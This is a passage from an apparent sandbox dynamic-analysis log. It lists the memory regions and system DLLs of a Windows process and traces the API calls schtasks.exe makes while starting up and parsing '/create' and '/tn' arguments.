(normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2449 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2450 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2451 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2452 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2453 start_va = 0xc0000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2454 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2455 start_va = 0x440000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2456 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2457 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2458 start_va = 0x540000 end_va = 0x6c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2459 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2460 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2461 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2462 start_va = 0x6d0000 end_va = 0x850fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 2463 start_va = 0x860000 end_va = 0x1c5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 2464 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2465 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2466 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2467 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2468 start_va = 0x1c60000 end_va = 0x1f2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2469 start_va = 0x160000 end_va = 0x1dcfff monitored = 0 entry_point = 0x16cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2470 start_va = 0x160000 end_va = 0x1dcfff monitored = 0 entry_point = 0x16cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2471 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2472 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2473 start_va = 0x1f30000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 2474 start_va = 0x360000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 2475 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2476 start_va = 0x20c0000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 2477 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2478 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2479 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2480 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2481 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2482 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2483 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2486 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 129 os_tid = 0xf54 [0136.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25f860 | out: lpSystemTimeAsFileTime=0x25f860*(dwLowDateTime=0x205975e0, dwHighDateTime=0x1d8a92a)) [0136.618] GetCurrentProcessId () returned 0xf50 [0136.618] GetCurrentThreadId () returned 0xf54 [0136.618] GetTickCount () returned 0x13878ae [0136.618] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x25f868 | out: lpPerformanceCount=0x25f868*=2061548171907) returned 1 [0136.619] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0136.619] __set_app_type (_Type=0x1) [0136.619] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffed972c) returned 0x0 [0136.619] __wgetmainargs (in: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248, _DoWildCard=0, _StartInfo=0xffef125c | out: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248) returned 0 [0136.620] _onexit (_Func=0xffee2ab0) returned 0xffee2ab0 [0136.620] _onexit (_Func=0xffee2ac4) returned 0xffee2ac4 [0136.620] _onexit (_Func=0xffee2afc) returned 0xffee2afc [0136.620] _onexit (_Func=0xffee2b58) returned 0xffee2b58 [0136.621] _onexit (_Func=0xffee2b80) returned 0xffee2b80 [0136.621] _onexit (_Func=0xffee2ba8) returned 0xffee2ba8 [0136.621] _onexit (_Func=0xffee2bd0) returned 0xffee2bd0 [0136.621] _onexit (_Func=0xffee2bf8) returned 0xffee2bf8 [0136.621] _onexit (_Func=0xffee2c20) returned 0xffee2c20 [0136.621] _onexit (_Func=0xffee2c48) returned 0xffee2c48 [0136.621] _onexit (_Func=0xffee2c70) returned 0xffee2c70 [0136.622] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0136.622] WinSqmIsOptedIn () returned 0x0 [0136.622] GetProcessHeap () returned 0x440000 [0136.622] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45b990 [0136.622] SetLastError (dwErrCode=0x0) [0136.623] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0136.623] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0136.623] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0136.623] VerifyVersionInfoW (in: lpVersionInformation=0x25f020, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25f020) returned 1 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45b9b0 [0136.623] lstrlenW (lpString="") returned 0 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x2) returned 0x45b9d0 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455930 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45b9f0 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455960 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455990 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x4559c0 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x4559f0 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba10 [0136.623] GetProcessHeap () returned 0x440000 [0136.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455a20 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455a50 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455a80 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455ab0 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba30 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455ae0 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455b10 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455b40 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455b70 [0136.624] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0136.624] SetLastError (dwErrCode=0x0) [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455ba0 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455bd0 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455c00 [0136.624] GetProcessHeap () returned 0x440000 [0136.624] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455c30 [0136.625] GetProcessHeap () returned 0x440000 [0136.625] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455c60 [0136.625] GetProcessHeap () returned 0x440000 [0136.625] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba50 [0136.625] _memicmp (_Buf1=0x45ba50, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.625] GetProcessHeap () returned 0x440000 [0136.625] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x208) returned 0x45bbf0 [0136.625] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0136.625] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0136.627] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0136.627] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0136.628] GetProcessHeap () returned 0x440000 [0136.628] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x74e) returned 0x45c1a0 [0136.628] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0136.628] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x45c1a0 | out: lpData=0x45c1a0) returned 1 [0136.628] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0136.628] VerQueryValueW (in: pBlock=0x45c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25f108, puLen=0x25f170 | out: lplpBuffer=0x25f108*=0x45c53c, puLen=0x25f170) returned 1 [0136.631] _memicmp (_Buf1=0x45ba50, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.631] _vsnwprintf (in: _Buffer=0x45bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25f0e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0136.631] VerQueryValueW (in: pBlock=0x45c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25f178, puLen=0x25f168 | out: lplpBuffer=0x25f178*=0x45c368, puLen=0x25f168) returned 1 [0136.631] lstrlenW (lpString="schtasks.exe") returned 12 [0136.631] lstrlenW (lpString="schtasks.exe") returned 12 [0136.631] lstrlenW (lpString=".EXE") returned 4 [0136.632] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0136.633] lstrlenW (lpString="schtasks.exe") returned 12 [0136.633] lstrlenW (lpString=".EXE") returned 4 [0136.634] _memicmp (_Buf1=0x45ba50, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.634] lstrlenW (lpString="schtasks") returned 8 [0136.634] GetProcessHeap () returned 0x440000 [0136.634] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x455d50 [0136.634] GetProcessHeap () returned 0x440000 [0136.634] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cab0 [0136.634] GetProcessHeap () returned 0x440000 [0136.634] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cae0 [0136.634] GetProcessHeap () returned 0x440000 [0136.634] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cb10 [0136.634] GetProcessHeap () returned 0x440000 [0136.634] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba70 [0136.634] _memicmp (_Buf1=0x45ba70, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.634] GetProcessHeap () returned 0x440000 [0136.634] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xa0) returned 0x45bff0 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cb40 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cb70 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x20) returned 0x45cba0 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45ba90 [0136.635] _memicmp (_Buf1=0x45ba90, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x200) returned 0x45d280 [0136.635] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x45d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0136.635] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x30) returned 0x457a50 [0136.635] _vsnwprintf (in: _Buffer=0x45bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25f0e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] GetProcessHeap () returned 0x440000 [0136.635] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1a0) returned 1 [0136.635] GetProcessHeap () returned 0x440000 [0136.636] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c1a0) returned 0x74e [0136.636] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1a0 | out: hHeap=0x440000) returned 1 [0136.636] SetLastError (dwErrCode=0x0) [0136.636] GetThreadLocale () returned 0x409 [0136.636] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.636] lstrlenW (lpString="?") returned 1 [0136.636] GetThreadLocale () returned 0x409 [0136.636] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.636] lstrlenW (lpString="create") returned 6 [0136.636] GetThreadLocale () returned 0x409 [0136.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.637] lstrlenW (lpString="delete") returned 6 [0136.637] GetThreadLocale () returned 0x409 [0136.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.637] lstrlenW (lpString="query") returned 5 [0136.637] GetThreadLocale () returned 0x409 [0136.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.637] lstrlenW (lpString="change") returned 6 [0136.637] GetThreadLocale () returned 0x409 [0136.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.637] lstrlenW (lpString="run") returned 3 [0136.637] GetThreadLocale () returned 0x409 [0136.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.637] lstrlenW (lpString="end") returned 3 [0136.637] GetThreadLocale () returned 0x409 [0136.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.637] lstrlenW (lpString="showsid") returned 7 [0136.637] GetThreadLocale () returned 0x409 [0136.637] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0136.637] SetLastError (dwErrCode=0x0) [0136.637] SetLastError (dwErrCode=0x0) [0136.637] lstrlenW (lpString="/create") returned 7 [0136.637] lstrlenW (lpString="-/") returned 2 [0136.637] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.637] lstrlenW (lpString="?") returned 1 [0136.637] lstrlenW (lpString="?") returned 1 [0136.637] GetProcessHeap () returned 0x440000 [0136.637] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45c1a0 [0136.637] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.638] GetProcessHeap () returned 0x440000 [0136.638] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0xa) returned 0x45c1c0 [0136.638] lstrlenW (lpString="create") returned 6 [0136.638] GetProcessHeap () returned 0x440000 [0136.638] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x18) returned 0x45c1e0 [0136.638] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.638] GetProcessHeap () returned 0x440000 [0136.638] RtlAllocateHeap (HeapHandle=0x440000, Flags=0xc, Size=0x14) returned 0x45c200 [0136.638] _vsnwprintf (in: _Buffer=0x45c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|?|") returned 3 [0136.638] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.638] lstrlenW (lpString="|?|") returned 3 [0136.638] lstrlenW (lpString="|create|") returned 8 [0136.638] SetLastError (dwErrCode=0x490) [0136.638] lstrlenW (lpString="create") returned 6 [0136.638] lstrlenW (lpString="create") returned 6 [0136.638] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.638] GetProcessHeap () returned 0x440000 [0136.638] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c1c0) returned 1 [0136.638] GetProcessHeap () returned 0x440000 [0136.638] RtlReAllocateHeap (Heap=0x440000, Flags=0xc, Ptr=0x45c1c0, Size=0x14) returned 0x45c220 [0136.638] lstrlenW (lpString="create") returned 6 [0136.638] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.638] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.638] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.638] lstrlenW (lpString="|create|") returned 8 [0136.638] lstrlenW (lpString="|create|") returned 8 [0136.639] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0136.639] SetLastError (dwErrCode=0x0) [0136.639] SetLastError (dwErrCode=0x0) [0136.639] SetLastError (dwErrCode=0x0) [0136.639] lstrlenW (lpString="/tn") returned 3 [0136.639] lstrlenW (lpString="-/") returned 2 [0136.639] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0136.639] lstrlenW (lpString="?") returned 1 [0136.639] lstrlenW (lpString="?") returned 1 [0136.639] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.639] lstrlenW (lpString="tn") returned 2 [0136.639] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.639] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|?|") returned 3 [0136.639] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.639] lstrlenW (lpString="|?|") returned 3 [0136.639] lstrlenW (lpString="|tn|") returned 4 [0136.639] SetLastError (dwErrCode=0x490) [0136.639] lstrlenW (lpString="create") returned 6 [0136.639] lstrlenW (lpString="create") returned 6 [0136.639] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.639] lstrlenW (lpString="tn") returned 2 [0136.639] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.639] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|create|") returned 8 [0136.639] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.639] lstrlenW (lpString="|create|") returned 8 [0136.639] lstrlenW (lpString="|tn|") returned 4 [0136.639] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0136.640] SetLastError (dwErrCode=0x490) [0136.640] lstrlenW (lpString="delete") returned 6 [0136.640] lstrlenW (lpString="delete") returned 6 [0136.640] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.640] lstrlenW (lpString="tn") returned 2 [0136.640] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.640] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|delete|") returned 8 [0136.640] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.640] lstrlenW (lpString="|delete|") returned 8 [0136.640] lstrlenW (lpString="|tn|") returned 4 [0136.640] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0136.640] SetLastError (dwErrCode=0x490) [0136.640] lstrlenW (lpString="query") returned 5 [0136.640] lstrlenW (lpString="query") returned 5 [0136.640] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.640] lstrlenW (lpString="tn") returned 2 [0136.640] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.640] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|query|") returned 7 [0136.640] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.640] lstrlenW (lpString="|query|") returned 7 [0136.640] lstrlenW (lpString="|tn|") returned 4 [0136.640] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0136.640] SetLastError (dwErrCode=0x490) [0136.640] lstrlenW (lpString="change") returned 6 [0136.640] lstrlenW (lpString="change") returned 6 [0136.640] _memicmp (_Buf1=0x45c1a0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.641] lstrlenW (lpString="tn") returned 2 [0136.641] _memicmp (_Buf1=0x45c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0136.641] _vsnwprintf (in: _Buffer=0x45c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|change|") returned 8 [0136.641] _vsnwprintf (in: _Buffer=0x45c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f0f8 | out: _Buffer="|tn|") returned 4 [0136.641] lstrlenW (lpString="|change|") returned 8 [0136.641] lstrlenW 